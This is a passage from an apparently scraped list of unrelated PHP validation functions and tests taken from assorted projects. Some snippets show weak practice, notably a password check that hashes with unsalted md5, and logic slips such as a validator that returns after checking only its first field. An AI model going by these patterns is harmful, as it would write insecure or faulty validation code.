trim($data);\n }\n if ($v === 'strip_tags') {\n $data = strip_tags($data);\n }\n if ($v === 'specialchars') {\n $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');\n }\n if ($v === 'filter_special_chars') {\n $data = str_replace(str_split('<>\"&*~|<>#@$%^()!?+-=/\\\\`.,:;_' . \"'\" . ''), ' ', $data);\n }\n }\n }\n return $data;\n }", "public function validate($data) {\n $data = $this->gump->sanitize($data);\n $this->gump->validation_rules(array(\n 'name' => 'required|max_len,100',\n 'capacity' => 'required|numeric',\n 'color' => 'required|max_len,7'\n ));\n\n $this->gump->filter_rules(array(\n 'name' => 'trim|sanitize_string',\n 'capacity' => 'trim|sanitize_string',\n 'color' => 'trim|sanitize_string',\n ));\n\n $validated_data = $this->gump->run($data);\n if ($validated_data === false) {\n $errArr = $this->gump->get_readable_errors();\n $errString = \"\";\n foreach ($errArr as $k => $err) {\n $errString .= $err . '<br>';\n }\n throw new Exception($errString);\n } else {\n return $data;\n }\n }", "public function validation($data = array())\n\t{\n\t\t$error = array();\n\t\t$valid = false;\n\n\t\tif ($data['user'] == '' or strlen($data['user']) < 2) {\n\t\t\t$error['user'] = 'Ditt namn måste bestå av minst 2 bokstäver.';\n\t\t}\n\n\t\tif ($data['title'] == '' or strlen($data['title']) < 5) {\n\t\t\t$error['title'] = 'Titeln måste vara minst 5 bokstäver.';\n\t\t}\n\n\t\tif ($data['post'] == '' or strlen($data['post']) < 7) {\n\t\t\t$error['post'] = 'Meddelandet måste vara minst 7 bokstäver långt.';\n\t\t}\n\n\t\tif (empty($error)) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn $error;\n\t}", "private function validateData()\n {\n if (empty($this->nome)) {\n $this->errors->addMessage(\"O nome é obrigatório\");\n }\n\n if (!filter_var($this->email, FILTER_VALIDATE_EMAIL)) {\n $this->errors->addMessage(\"O e-mail é inválido\");\n }\n\n if (strlen($this->senha) < 6) {\n $this->errors->addMessage(\"A senha deve ter no minímo 6 caracteres!\");\n }\n if ($this->emailExiste($this->email, 'email')) {\n $this->errors->addMessage(\"Esse e-mail já está cadastrado\");\n }\n if ($this->emailExiste($this->usuario, 'usuario')) {\n $this->errors->addMessage(\"Esse usuário já está cadastrado\");\n }\n\n return $this->errors->hasError();\n }", "public function validates(array $data)\n\t{\n\t\t$this->errors = [];\n\t\t$this->data = $data;\n\n\t\treturn $this->errors;\n\t}", "public function validate($data)\n {\n $v = Validator::make($data, $this->rules);\n $result = $v->passes();\n $this->v = $v;\n // return the result\n return $result;\n }", "public function testIsValidTypeInvalid()\n {\n $this->assertFalse($this->annotation->isValidType('INVALID'));\n }", "protected function validate()\n {\n $errors = [];\n\n if ($this instanceof ObscureValueInterface) {\n $value = $this->getActualValue($this->getValue());\n } else {\n $value = $this->getValue();\n }\n\n if ($this->isRequired()) {\n if (is_array($value)) {\n $value = array_filter($value);\n\n if (empty($value)) {\n $errors[] = $this->translate('This field is required');\n }\n } else if (!strlen($value)) {\n $errors[] = $this->translate('This field is required');\n }\n }\n\n if (!empty($value)) {\n static $validator;\n\n if (null === $validator) {\n $validator = new Validator();\n }\n\n $violationList = $validator->validate($this, $value);\n\n $errors = array_merge($errors, $violationList->getErrors());\n }\n\n return $errors;\n }", "public function validData($data, $type = \"\"){\n switch ($type){\n case 'ug':\n case \"ul\"://user-login. no russian 4-30 characters\n preg_match('/[A-Za-z0-9\\)\\(_\\-]{4,30}/u', $data, $arr);\n return strlen($data) == strlen($arr[0]) ? $arr[0]\n : false;\n break;\n case \"un\": //user-name/surname rus+eng 2-30\n preg_match('/[А-Яа-яA-Za-z0-9\\)\\(_\\-]{2,30}/u', $data, $arr);\n return strlen($data) == strlen($arr[0]) ? $arr[0]\n : false;\n break;\n case \"up\": //user=password\n preg_match('/[\\w]{6,16}/u', $data, $arr);\n return strlen($data) == strlen($arr[0]) ? md5($arr[0])\n : false;\n break;\n case \"ue\": //user-email\n return filter_var($data, FILTER_VALIDATE_EMAIL) ? $data\n : false;\n break;\n case \"dt\": //date &year &month &day\n preg_match('/(\\d{4})\\.(\\d{1,2})\\.(\\d{1,2})/', $data, $arr);\n return checkdate($arr[2], $arr[3], $arr[1]) ? $arr[0]\n : false;\n break;\n case \"ph\": //phone 0-9{3} 0-9{7}\n preg_match('/\\d{3}-\\d{7}/', $data, $arr);\n return !empty($arr) ? $arr[0]\n : false;\n break;\n case \"gr\": //user-name/surname rus+eng 2-30\n preg_match('/[А-Яа-яA-Za-z0-9\\)\\(_\\-]{2,30}/u', $data, $arr);\n return strlen($data) == strlen($arr[0]) ? $arr[0]\n : false;\n break;\n default:\n return false;\n break;\n }\n }", "protected function validate($data) {\n $isValid = false;\n\n // check if we have all the data we need\n if(!isset($data['interaction'])) {\n $this->errors[] = 'No interaction data.';\n }\n\n if(!isset($data['interaction']['type'])) {\n $this->errors[] = 'No interaction type.';\n }\n\n if(!isset($data['interaction']['id'])) {\n $this->errors[] = 'No interaction id.';\n }\n\n if(!isset($data['destination'])) {\n $this->errors[] = 'No destination data.';\n }\n\n if(!isset($data['destination']['type'])) {\n $this->errors[] = 'No destination type.';\n }\n\n if(!isset($data['destination']['id'])) {\n $this->errors[] = 'No destination id.';\n }\n\n if(!isset($data['userID'])) {\n $this->errors[] = 'No user id.';\n }\n\n if(!isset($data['treeID'])) {\n $this->errors[] = 'No tree id.';\n }\n\n if(!isset($data['site']['embedID'])) {\n $this->errors[] = 'No embed id.';\n }\n\n // if we have any errors, return false. Passes first round of being the correct data structure\n if(!empty($this->errors)) {\n return $isValid;\n }\n\n // we have all the data, now to validate it\n $treeID = $data['treeID'];\n $userID = $data['userID'];\n $interactionType = $data['interaction']['type'];\n $interactionID = $data['interaction']['id'];\n $destinationType = $data['destination']['type'];\n $destinationID = $data['destination']['id'];\n $embedID = $data['site']['embedID'];\n\n // open the validator\n $validate = new Validate();\n // check that it's a valid Tree\n if($validate->treeID($treeID) === false) {\n $this->errors[] = 'Invalid treeID.';\n // return here because the next ones will get messed up if this isn't valid\n return false;\n }\n\n // check that it's a valid Embed ID\n if($validate->embed($embedID, $data) === false) {\n $this->errors[] = 'Invalid embedID.';\n }\n\n // check that it's a valid interaction type\n if($validate->interactionType($interactionType) === false) {\n $this->errors[] = 'Invalid interaction type.';\n\t\t}\n\n // check that it's a valid destination type\n if($validate->stateType($destinationType) === false) {\n $this->errors[] = 'Invalid destination type.';\n\t\t}\n\n // if it's an option interaction, check that it's a valid optionID\n if($interactionType === 'question' && $validate->elTypeID($interactionType, $interactionID, $treeID) === false) {\n $this->errors[] = 'Invalid interaction id.';\n }\n\n // if it's a question or end destination, check that it's a valid id for that type\n if(($destinationType === 'question' || $destinationType === 'end') && $validate->elTypeID($destinationType, $destinationID, $treeID) === false) {\n $this->errors[] = 'Invalid destination id.';\n }\n\n // check that it's a valid userID\n if(Utility\\isSlug($userID) === false) {\n $this->errors[] = 'Invalid userID.';\n }\n\n // if we have don't have any errors, it's valid!\n if(empty($this->errors)) {\n $isValid = true;\n }\n\n return $isValid;\n\n }", "public function validate()\r\n {\r\n foreach ($this->_data as $data) {\r\n if (!in_array($data, $this->_validateAgainst)) $this->addError('Value is not a valid selection.');\r\n }\r\n \r\n return !sizeof($this->_errors);\r\n }", "private function validateType($schema, $data, $path)\n {\n // gettype() on a closure returns 'object' which is not what we want\n if (is_callable($data) && ($data instanceof \\Closure)) {\n\n $type = BaseValidator::CLOSURE;\n } else {\n\n // override because 'double' (float), 'integer' are covered by 'number' according to http://json-schema.org/latest/json-schema-validation.html#anchor79\n // strtolower; important when dealing with 'null' values\n if (in_array(($type = strtolower(gettype($data))), [BaseValidator::DOUBLE, BaseValidator::INTEGER])) {\n\n $type = BaseValidator::NUMBER;\n }\n }\n\n // check if given type matches the expected type, if not add verbose error\n if (is_array($schema->type)) {\n\n $isValid = false;\n\n foreach ($schema->type as $t) {\n\n if ($type === strtolower($t)) {\n\n $isValid = true;\n break;\n }\n }\n }\n\n if ((isset($isValid) && !$isValid) || (is_string($schema->type) && ($type !== strtolower($schema->type)))) {\n\n $msg = ValidateException::ERROR_USER_DATA_VALUE_DOES_NOT_MATCH_CORRECT_TYPE_1;\n $schemaType = (is_array($schema->type) ? implode('\\' OR \\'', $schema->type) : $schema->type);\n $params = [$path, $schemaType, $type];\n\n if (!in_array($type, [BaseValidator::OBJECT, BaseValidator::CLOSURE, BaseValidator::_ARRAY, BaseValidator::_NULL])) {\n\n $msg = ValidateException::ERROR_USER_DATA_VALUE_DOES_NOT_MATCH_CORRECT_TYPE_2;\n\n if (in_array($type, [BaseValidator::STRING])) {\n\n $data = str_replace(\"\\n\", '', $data);\n $data = preg_replace(\"/\\r|\\n/\", '', $data);\n $data = (strlen($data) < 25) ? $data : substr($data, 0, 25) . ' [...]';\n }\n\n // boolean handling\n if (in_array($type, [BaseValidator::BOOLEAN])) {\n\n $data = ($data) ? true : false;\n }\n\n $params[] = $data;\n }\n\n // add error\n $this->addError($msg, $params);\n }\n\n return $type;\n }", "public function validType($key, $type, &$data) {\n\n\n if(!is_bool($data) && !is_array($data) && is_string($data) && !strlen($data)) return false;\n\n // database conversion types\n $type = preg_replace('/\\(.*/','',$type);\n\n switch (strtolower($type)) {\n case \"varbinary\": case \"varchar\": case \"char\": case \"string\": return is_string($data);\n case \"text\": case \"txt\": return is_string($data);\n case \"integer\": if(strval(intval($data))===strval($data)) $data=intval($data);return is_integer($data);\n case \"decimal\": case \"float\": if(floatval($data)!=0 || $data===\"0\" || $data === 0) $data=floatval($data);return is_float($data);\n case \"bit\": if(strval(intval($data))===strval($data)) $data=intval($data);return ($data==0 || $data==1);\n case \"model\": return is_array($data) && !empty($data);\n case \"json\": if(is_array($data)) $data = json_encode($data);return is_string($data) && is_array(json_decode($data,true));\n case \"name\": return $this->validateName($key,$data);\n case \"ip\": return filter_var($data,FILTER_VALIDATE_IP);\n case \"url\": return filter_var($data,FILTER_VALIDATE_URL);\n case \"email\": return is_string($data) && $this->validateEmail($key,\"email\",$data);\n case \"emails\": return is_array($data) && $this->validateEmail($key,\"email\",$data);\n case \"phone\": return is_string($data);\n case \"zip\": return is_string($data);\n case \"keyname\": return is_string($data);\n case \"key\": return is_string($data);\n case \"date\": return $this->validateDate($data);\n case \"datetime\": return $this->validateDateTime($data);\n case \"datetimeiso\": return $this->validateDateTimeISO($data);\n case \"currency\": return is_numeric($data);\n case \"boolean\": if(!is_bool($data) && ($data=='true' || $data=='false')) $data = ($data == 'true');return is_bool($data);\n case \"array\": return is_array($data);\n case \"list\": return is_array($data);\n case \"array_to_string\": if(is_array($data)) $data=implode(\",\",$data);return is_string($data);\n default: return false;\n }\n }", "public function isDataValid() {\n if ($this->userExists())\n $this->_errors[] = 'username already taken';\n // username and password must match pattern\n else if (empty($this->_username) || !preg_match('/^[a-zA-Z0-9]{5,16}$/', $this->_username))\n $this->_errors[] = 'invalid username must be between 5 and 16 characters';\n else if (empty($this->_password) || !preg_match('/^[a-zA-Z0-9]{6,18}$/', $this->_password))\n $this->_errors[] = 'invalid password must be between 6 and 18 characters';\n\t\t else if (empty($this->_password) || $this->_password != $this->_password_confirm)\n $this->_errors[] = \"Password didn't match X\";\n // names must be between 2 and 22 characters\n else if (empty($this->_first_name) || !preg_match('/^[a-zA-Z0-9]{2,22}$/', $this->_first_name))\n $this->_errors[] = 'invalid first name must be between 2 and 22 characters';\n else if (empty($this->_last_name) || !preg_match('/^[a-zA-Z0-9]{2,22}$/', $this->_last_name))\n $this->_errors[] = 'invalid last name must be between 2 and 22 characters';\n //restricts day to 01-31, month to 01-12 and year to 1900-2099 (also allowing / - or . between the parts of the date) \n else if (empty($this->_dob) || !preg_match('/^(0?[1-9]|[12][0-9]|3[01])[\\/\\ ](0?[1-9]|1[0-2])[\\/\\ ](19|20)\\d{2}$/', $this->_dob))\n $this->_errors[] = 'invalid dod | must be DD/MM/YYYY format';\n else if (empty($this->_address))\n $this->_errors[] = 'invalid address';\n // checks if valid postal code\n else if (empty($this->_postcode) || !preg_match('/^(([A-PR-UW-Z]{1}[A-IK-Y]?)([0-9]?[A-HJKS-UW]?[ABEHMNPRVWXY]?|[0-9]?[0-9]?))\\s?([0-9]{1}[ABD-HJLNP-UW-Z]{2})$/', $this->_postcode))\n $this->_errors[] = 'invalid postcode | must be AA11 9AA format';\n // checks is valid email using regular expression\n else if (empty($this->_email) || !preg_match('/^[_\\.0-9a-zA-Z-]+@([0-9a-zA-Z][0-9a-zA-Z-]+\\.)+[a-zA-Z]{2,6}$/', $this->_email))\n $this->_errors[] = 'invalid email';\n\n\n // return true or false \n return count($this->_errors) ? 0 : 1;\n }", "public function validation()\n {\n $this->assertFalse($this->denyValidator->validate(123));\n $this->assertFalse($this->denyValidator->validate('1234'));\n $this->assertFalse($this->denyValidator->validate(true));\n $this->assertFalse($this->denyValidator->validate(null));\n $this->assertFalse($this->denyValidator->validate(new stdClass()));\n }", "public function validate($data)\n {\n // TODO create enum for gender\n\n $email_validator = new EmailValidator('errors.email.invalid');\n $fname_validator = new MinLengthValidator('errors.fname.minLength', 3);\n $lname_validator = new MinLengthValidator('errors.lname.minLength', 3);\n $gender_validator = new MinLengthValidator('errors.gender.minLength', 4);\n $birthdate_validator = new MinLengthValidator('errors.birthdate.minLength', 10);\n $errors = [];\n $email_validator->isValid($data['email']) ? true : array_push($errors, $email_validator->getMessage());\n\n $fname_validator->isValid($data['first_name']) ? true : array_push($errors, $fname_validator->getMessage());\n\n $lname_validator->isValid($data['last_name']) ? true : array_push($errors, $lname_validator->getMessage());\n\n $gender_validator->isValid($data['gender']) ? true : array_push($errors, $gender_validator->getMessage());\n\n $birthdate_validator->isValid($data['birth_date']) ? true : array_push($errors, $birthdate_validator->getMessage());\n\n return $errors;\n }", "public function validation($data, $type){\n $return = $data;\n foreach($data as $key => $input){\n $temp = null;\n if ($key != 'text') {\n $input = is_array($input) ? FormInput::trimArray($input) : FormInput::checkInput($input);\n }\n $return[$key] = $input;\n }\n return $return;\n }", "abstract public function validate(array $data, array $fields);", "public static function validateType()\n\t{\n\t\treturn array(\n\t\t\tarray(__CLASS__, 'checkType')\n\t\t);\n\t}", "public abstract function validation();", "public static function invalidInput(): array\n {\n return [\n 'not a string' => [ false, [ 'Y-m-d' ] ],\n 'not numeric string' => [ 'abc', [ 'Y-m-d' ] ],\n 'invalid date format' => [ '2023-27-01', [ 'Y-m-d' ] ],\n ];\n }", "public static function checkType(string $name, $value, array $type): array\n\t{\n\t\t$result = ['isValid' => true, 'message' => ''];\n\t\tswitch($type['type']) {\n\t\t\tcase 'string':\n\t\t\t\tif(!is_string($value) && !$value instanceof DataTypes\\TypeString) {\n\t\t\t\t\t$result['isValid'] \t= false;\n\t\t\t\t\t$result['message'] \t= $name.' must be a string';\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'int':\n\t\t\t\tif(!is_int($value) && !$value instanceof DataTypes\\TypeInt) {\n\t\t\t\t\t$result['isValid'] \t= false;\n\t\t\t\t\t$result['message'] \t= $name.' must be a int';\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'float':\n\t\t\t\tif(!is_float($value) && !$value instanceof DataTypes\\TypeFloat) {\n\t\t\t\t\t$result['isValid'] \t= false;\n\t\t\t\t\t$result['message'] \t= $name.' must be a float';\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'boolean':\n\t\t\t\tif(!is_bool($value) && !$value instanceof DataTypes\\TypeBool) {\n\t\t\t\t\t$result['isValid'] \t= false;\n\t\t\t\t\t$result['message'] \t= $name.' must be a boolean';\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'null':\n\t\t\t\tif($value !== NULL) {\n\t\t\t\t\t$result['isValid'] \t= false;\n\t\t\t\t\t$result['message'] \t= $name.' must be null';\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase 'any':\n\t\t\t\tbreak;\t\n\n\t\t\tdefault:\n\t\t\t\tif(strpos($type['type'], '\\\\') !== false || preg_match(\"/^[A-Z]/\", $type['type'])) {\n\t\t\t\t\tif(!self::isResource($value, $type['type'])) {\n\t\t\t\t\t\t$result['isValid'] \t= false;\n\t\t\t\t\t\t$result['message'] \t= $name.' must be of type class: '.$type['type'];\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tthrow new \\RuntimeException(\"Invalid data type: \".$type['type']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t\tif($result['isValid'] && isset($type['length']) && $type['length']) {\n\t\t\t$result = self::checkLength($name, $value, $type['type'], $type['length']);\n\t\t}\n\t\treturn $result;\n\t}", "function validate_all($required, $data)\n{\n $result = array();\n $result['code'] = 1;\n $result['error'] = \"All OK!\";\n if (count(array_intersect_key($required, $data)) != count($required)) {\n $result['code'] = 0;\n $result['error'] = \"Fields Mismatch!\";\n return $result;\n }\n foreach ($required as $field => $rules) {\n $value = trim($data[$field]);\n $code = 0;\n $error = \"\";\n switch ($rules['type']) {\n case 'numeric':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!is_numeric($value)) {\n $error = $field . \" is not numeric.\";\n } else if (isset($rules['min'])) {\n if ($value < $rules['min']) {\n $error = $field . \" min error.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n } else if (isset($rules['max'])) {\n if ($value > $rules['max']) {\n $error = $field . \" max error.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'alpha':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!preg_match('/^[a-zA-Z]+$/', $value)) {\n $error = $field . \" is invalid.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'alpha_space':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!preg_match('/^[a-zA-Z ]+$/', $value)) {\n $error = $field . \" is invalid.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'alphanumeric':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!preg_match('/^[a-zA-Z0-9]+$/', $value)) {\n $error = $field . \" is invalid.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'alphanumeric_space':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!preg_match('/^[a-zA-Z0-9 ]+$/', $value)) {\n $error = $field . \" is invalid.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'email':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!preg_match($rules['pattern'], $value)) {\n $error = $field . \" is invalid.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'pattern':\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else if (!preg_match($rules['pattern'], $value)) {\n $error = $field . \" is invalid.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n case 'any':\n # code...\n if ($rules['required'] && empty($value)) {\n $error = $field . \" is empty.\";\n } else {\n $code = 1;\n $error = \"All OK!\";\n }\n break;\n }\n $result['fields'][$field] = array('code' => $code, 'error' => $error, 'value' => $value, 'field' => $field);\n }\n foreach ($result['fields'] as $row) {\n if ($row[\"code\"] == 0) {\n $result['code'] = 0;\n $result['error'] = $row['error'];\n break;\n }\n }\n return $result;\n}", "abstract public function validate();", "abstract public function validate();", "public function validate($data) {\n $data = $this->gump->sanitize($data); // You don't have to sanitize, but it's safest to do so.\n\n $this->gump->validation_rules(array(\n 'user_id' => 'required|max_len,100',\n 'plan_id' => 'required|numeric',\n 'plan_start' => 'required|date',\n 'plan_end' => 'required|date',\n 'price' => 'required|numeric',\n 'vat' => 'numeric',\n 'price_total' => 'required|numeric'\n ));\n\n $this->gump->filter_rules(array(\n 'user_id' => 'trim|sanitize_string',\n 'plan_id' => 'trim|sanitize_string',\n 'plan_start' => 'trim|sanitize_string',\n 'plan_end' => 'trim|sanitize_string',\n 'price' => 'trim|sanitize_string',\n 'vat' => 'trim|sanitize_string',\n 'price_total' => 'trim|sanitize_string',\n ));\n\n $validated_data = $this->gump->run($data);\n if ($validated_data === false) {\n $errArr = $this->gump->get_readable_errors();\n $errString = \"\";\n foreach ($errArr as $k => $err) {\n $errString .= $err . '<br>';\n }\n throw new Exception($errString);\n } else {\n return $data;\n }\n }", "public function validate()\n {\n\t# checking default value\n\tif ( $this->default &&\n\t !$this->isValidValue($this->default))\n\t{\n\t $this->_addError(\"invalid datatype of default value '$this->default'\");\n\t}\n\telseif ($this->default)\n\t{\n\t $this->default= $this->retype($this->default);\n\t}\n\n\tforeach($this->errors as $key => $error)\n\t{\n\t $this->errors[$key] = str_replace('%s', $this->getModel()->getName(). '::'.$this->name, $error);\n\t}\n\treturn $this->errors;\n }", "public static function checkData($data) {\n $errors=[];\n\n // Liste de champs obligatoires\n $mandatoryFields=[\n 'title' => \"Veuillez saisir un titre pour le nouveau quiz\",\n 'description' => \"Veuillez décrire le nouveau quiz\",\n ];\n\n foreach ($mandatoryFields as $fieldName => $msg) {\n\n // on vérifie les champs obligatoires\n if (empty($data[$fieldName])) {\n\n //erreur, le champ est vide!\n $errors[]=$msg;\n }\n\n return $errors;\n }\n\n }", "public function validateData(array $data) {\n\t\t$num_cols = null;\n\t\tforeach ($data as $row) {\n\t\t\tif (!is_array($row)) {\n\t\t\t\tthrow new Matrix\\Exception\\InvalidDataException(\"A row contained in the data is not an array\");\n\t\t\t}\n\n\t\t\tif (is_null($num_cols)) {\n\t\t\t\t$num_cols = count($row);\n\t\t\t}\n\n\t\t\tif (count($row) == 0) {\n\t\t\t\tthrow new Matrix\\Exception\\InvalidDataException(\"Data is empty (no data in columns)\");\n\t\t\t}\n\n\t\t\tif ($num_cols != count($row)) {\n\t\t\t\tthrow new Matrix\\Exception\\InvalidDataException(\"Rows in data array are not all of the same size\");\n\t\t\t}\n\n\t\t\tforeach ($row as $value) {\n\t\t\t\tif (!is_numeric($value)) {\n\t\t\t\t\tthrow new Matrix\\Exception\\NotNumericException(\"Values in the matrix are not all of numeric type\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "protected function validate_data_fields(){\n\t\tif(empty($this->RESPONSE)){throw new Exception(\"Response field not found\", 5);}\n\t\t\n\t\t// The remote IP address is also required\n\t\tif($this->validate_ip($this->REMOTE_ADDRESS)){throw new Exception(\"Renote IP address not set correctly\", 6);}\n\t}", "public static function validate($data){\n return Validator::make($data, static::$rules);\n }", "function validation($data, $files) {\n $errors = array();\n\n if (!$data['itemid']) {\n $errors['itemid'] = get_string('pleasechooseavalue', 'surveyreport_frequency');\n }\n\n return $errors;\n }", "public function isDataValid()\n {\n $this->validateData();\n return 0 == $this->_errorsCount;\n }", "abstract public function valid();", "private function checkValid()\n\t{\n\t\tif(!$this->isValid()) {\n\t\t\tthrow new \\RuntimeException(\"TypeStruct Error: '\".get_called_class().\"' not validated to perform further operations\");\t\n\t\t}\n\t}", "public function validateInput($data)\n {\n if (!$this->validateEmpty($data))\n return ['status' => false, 'errors' => 'Dữ liệu không hợp lệ.'];\n\n $msgs = $this->validateLogic($data);\n return $msgs;\n }", "protected function check_type()\n {\n $regex = \"/^int$|^bool$|^string$/\";\n\n $result = preg_match($regex, $this->token);\n\n if($result == 0 or $result == FALSE)\n {\n fwrite(STDERR, \"Error, expecting <type> function parameter! Line: \");\n fwrite(STDERR, $this->lineCount);\n fwrite(STDERR, \"\\n\");\n exit(23);\n } \n }", "public static function validate($data)\n\t{\n return Validator::make($data, Static::$rules);\n }", "public function isValid($data)\n {\n $rules = array(\n 'fechaPartido'=> 'required',\n 'fecha_id' => 'required'\n \n \n );\n \n $validator = Validator::make($data, $rules);\n \n if ($validator->passes())\n {\n return true;\n }\n \n $this->errors = $validator->errors();\n \n return false;\n }", "public function validateFormData($data) {\n\n $errors = array();\n\n // twitter name\n if (strlen($data['twitterName']) < 1 || strlen($data['twitterName']) > 100) {\n $errors['twitterName'] = 'Full name is required and must be less than 100 characters.';\n }\n\n // twitter username\n if (!preg_match(\"/^[a-zA-Z0-9_]+$/\", $data['twitterUsername']) || strlen($data['twitterUsername']) < 1 || strlen($data['twitterUsername']) > 15) {\n $errors['twitterUsername'] = 'Username must only use letters, numbers, underscores, and be 15 or fewer characters in length.';\n }\n\n // cron key\n if (!preg_match(\"/^[a-zA-Z0-9_]+$/\", $data['cronKey']) || strlen($data['cronKey']) < 1 || strlen($data['cronKey']) > 50) {\n $errors['cronKey'] = 'The cron key must only use letters, numbers, underscores, and be 50 or fewer characters in length.';\n }\n\n // timezone\n if (!date_default_timezone_set($data['timezone'])) {\n $errors['timezone'] = 'Not a valid timezone.';\n }\n\n // database prefix\n if (!preg_match(\"/^[a-zA-Z0-9_]+$/\", $data['databasePrefix']) || strlen($data['databasePrefix']) < 1 || strlen($data['databasePrefix']) > 15) {\n $errors['databasePrefix'] = 'The database prefix must only use letters, numbers, underscores, and be 15 or fewer characters in length.';\n }\n\n // do one last check to require all fields without a specific check\n $requiredFields = array('twitterName', 'twitterUsername', 'consumerKey', 'consumerSecret', 'oauthToken', 'oauthSecret', 'baseUrl', 'timezone', 'cronKey', 'databaseHost', 'databaseDatabase', 'databaseUsername', 'databasePassword', 'databasePrefix');\n foreach ($requiredFields as $field) {\n if (!isset($errors[$field]) && strlen(trim($data[$field])) < 1) {\n $errors[$field] = 'This field is required.';\n }\n }\n\n return (count($errors)) ? $errors : false;\n\n }", "protected function validateOrThrow() {}", "protected function validate()\n {\n// echo static::class;\n if (!isset($this->getProperty('raw_data')['_'])) {\n throw new InvalidEntity('Invalid entity data given: ' . json_encode($this->getRawData(), JSON_PRETTY_PRINT));\n }\n }", "public function checkDateWithInvalidDateValuesDataProvider() {}", "public static function validate() {}", "public function evaluateIsValid()\n\t{\n\t\t$idPath=$this->getControlToValidate();\n\t\tif(strlen($idPath))\n\t\t{\n\t\t\t$control=$this->getTargetControl($idPath);\n\t\t\t$value=$control->getValidationPropertyValue();\n\t\t\tif(!strlen($value))\n\t\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t\treturn true;\n\n\t\tswitch($this->getValueType())\n\t\t{\n\t\t\tcase 'Integer':\n\t\t\t\treturn $this->isValidInteger($value);\n\t\t\tcase 'Float':\n\t\t\tcase 'Double':\n\t\t\t\treturn $this->isValidDouble($value);\n\t\t\tcase 'Currency':\n\t\t\t\treturn $this->isValidCurrency($value);\n\t\t\tcase 'Date':\n\t\t\t\treturn $this->isValidDate($value);\n\t\t\tdefault:\n\t\t\t\treturn $this->isValidString($value);\n\t\t}\n\t}", "protected function validateArguments($argData){\n foreach($argData as $argName => $argData){\n if(! $this->{$argData['function']}($argData['value']) ){\n throw new Exception(\"$argName expected a value of type {$argData['typeExpected']}\");\n }\n }\n }", "function ValidateData()\n\t\t{\n\t\t\t$theValidator = new CValidator();\n\t\t\tif(!$this->arrValidator || !is_array($this->arrValidator) )\n\t\t\t{\n\t\t\t\t$this->arrValidator = array();\n\t\t\t}\n\t\t\tforeach($this->arrValidator as $key=>$value)\n\t\t\t{\n\t\t\t\tif($this->$key == '')\n\t\t\t\t{\n\t\t\t\t\t// Kiem tra xem co phai bat buoc khong?\n\t\t\t\t\tif(isset($this->arrRequired[$key]) && ($this->arrRequired[$key] == 1))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif(!$theValidator->CheckPatt($value, $this->$key))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn(false);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn(true);\n\t\t}", "public final function verifyData($key){\n\n unset($this->errors[$key]);\n\n if(!array_key_exists($key,$this->data)){\n\n if(!array_key_exists($key,$this->definition)){\n throw new \\Disco\\exceptions\\Exception(\"Field `{$key}` is not defined by this data model\");\n }//if\n\n //DEFAULT\n if(array_key_exists('default',$this->definition[$key])){\n $this->data[$key] = $this->definition[$key]['default'];\n }//if\n //REQUIRED\n else if($this->getDefinitionValue($key,'required')){\n return $this->setError($key,\"`{$key}` is required\");\n }//elif\n else {\n return false;\n }//el\n\n }//if\n\n //PREMASSAGE\n if(($massage = $this->getDefinitionValue($key,'premassage')) !== false){\n $this->data[$key] = $this->{$massage}($this->data[$key]);\n }//if\n\n $value = $this->data[$key];\n\n //REGEXP\n if(($regexp = $this->getDefinitionValue($key,'regexp')) !== false){\n if(($default = \\App::getCondition($regexp)) !== false && !\\App::matchCondition($default,$value)){\n return $this->setError($key);\n }//if\n if(!preg_match(\"/{$regexp}/\",$value)){\n return $this->setError($key);\n }//if\n $this->_postMassage($key,$value);\n return true;\n }//if\n\n //METHOD\n if(($method = $this->getDefinitionValue($key,'method')) !== false){\n if(!$this->{$method}($value)){\n return $this->setError($key);\n }//if\n $this->_postMassage($key,$value);\n return true;\n }//if\n\n //NULLABLE\n if($this->getDefinitionValue($key,'nullable') && $value === null){\n $this->_postMassage($key,$value);\n return true;\n }//if\n\n $type = $this->getDefinitionValue($key,'type');\n\n //TRUTHY\n if($type != 'boolean' && $this->getDefinitionValue($key,'truthy') && is_bool($value)){\n $this->_postMassage($key,$value);\n return true;\n }//if\n\n switch($type){\n\n case 'int':\n\n if(!$this->_isValidInt($key,$value)){\n return false;\n }//if\n\n break;\n\n case 'uint':\n\n if(!$this->_isValidInt($key,$value)){\n return false;\n }//if\n\n if($value < 0){\n return $this->setError($key,\"`{$key}` must be a positive integer\");\n }//if\n\n break;\n\n case 'float':\n\n if(!$this->_isValidFloat($key,$value)){\n return false;\n 